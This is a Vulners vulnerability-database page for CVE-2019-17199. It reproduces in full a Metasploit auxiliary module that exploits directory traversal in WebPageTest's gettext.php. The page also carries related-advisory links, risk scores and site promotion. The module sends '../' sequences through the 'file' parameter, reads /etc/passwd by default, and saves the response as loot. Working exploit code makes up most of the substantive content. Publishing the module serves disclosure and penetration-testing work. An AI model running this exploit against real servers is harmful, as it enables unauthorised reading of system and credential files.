Lucene search
+L

WebPageTest Directory Traversal

🗓️ 13 Jul 2012 00:00:00Reported by dun, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

WebPageTest Directory Traversal. Exploits directory traversal vulnerability in WebPageTest to read files outside the www directory

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-17199
29 May 201815:50
circl
cve
CVE
CVE-2019-17199
5 Oct 201919:04
cve
cvelist
Cvelist
CVE-2019-17199
5 Oct 201919:04
cvelist
euvd
EUVD
EUVD-2019-7626
7 Oct 202500:30
euvd
nvd
NVD
CVE-2019-17199
5 Oct 201920:15
nvd
prion
Prion
Directory traversal
5 Oct 201920:15
prion
redhatcve
RedhatCVE
CVE-2019-17199
22 May 202508:32
redhatcve
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebPageTest Directory Traversal',
        'Description' => %q{
          This module exploits a directory traversal vulnerability found in WebPageTest.
          Due to the way the gettext.php script handles the 'file' parameter, it is possible
          to read a file outside the www directory.
        },
        'References' => [
          ['CVE', '2019-17199'],
          ['EDB', '19790'],
          ['OSVDB', '83817']
        ],
        'Author' => [
          'dun', # Discovery, PoC
          'sinn3r' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-07-13',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),
        OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
      ]
    )
  end

  def run_host(ip)
    file = (datastore['FILE'][0, 1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
    traverse = "../" * datastore['DEPTH']
    uri = normalize_uri(target_uri.path)
    base = File.dirname("#{uri}/.")

    print_status("Requesting: #{file} - #{rhost}")
    res = send_request_cgi({
      'uri' => "#{base}/gettext.php",
      'vars_get' => { 'file' => "#{traverse}#{file}" }
    })

    if not res
      print_error("No response from server.")
      return
    end

    if res.code != 200
      print_error("Server returned a non-200 response (body will not be saved):")
      print_line(res.to_s)
      return
    end

    vprint_line(res.body)
    p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
    print_good("File saved as: #{p}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2012 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.09957
18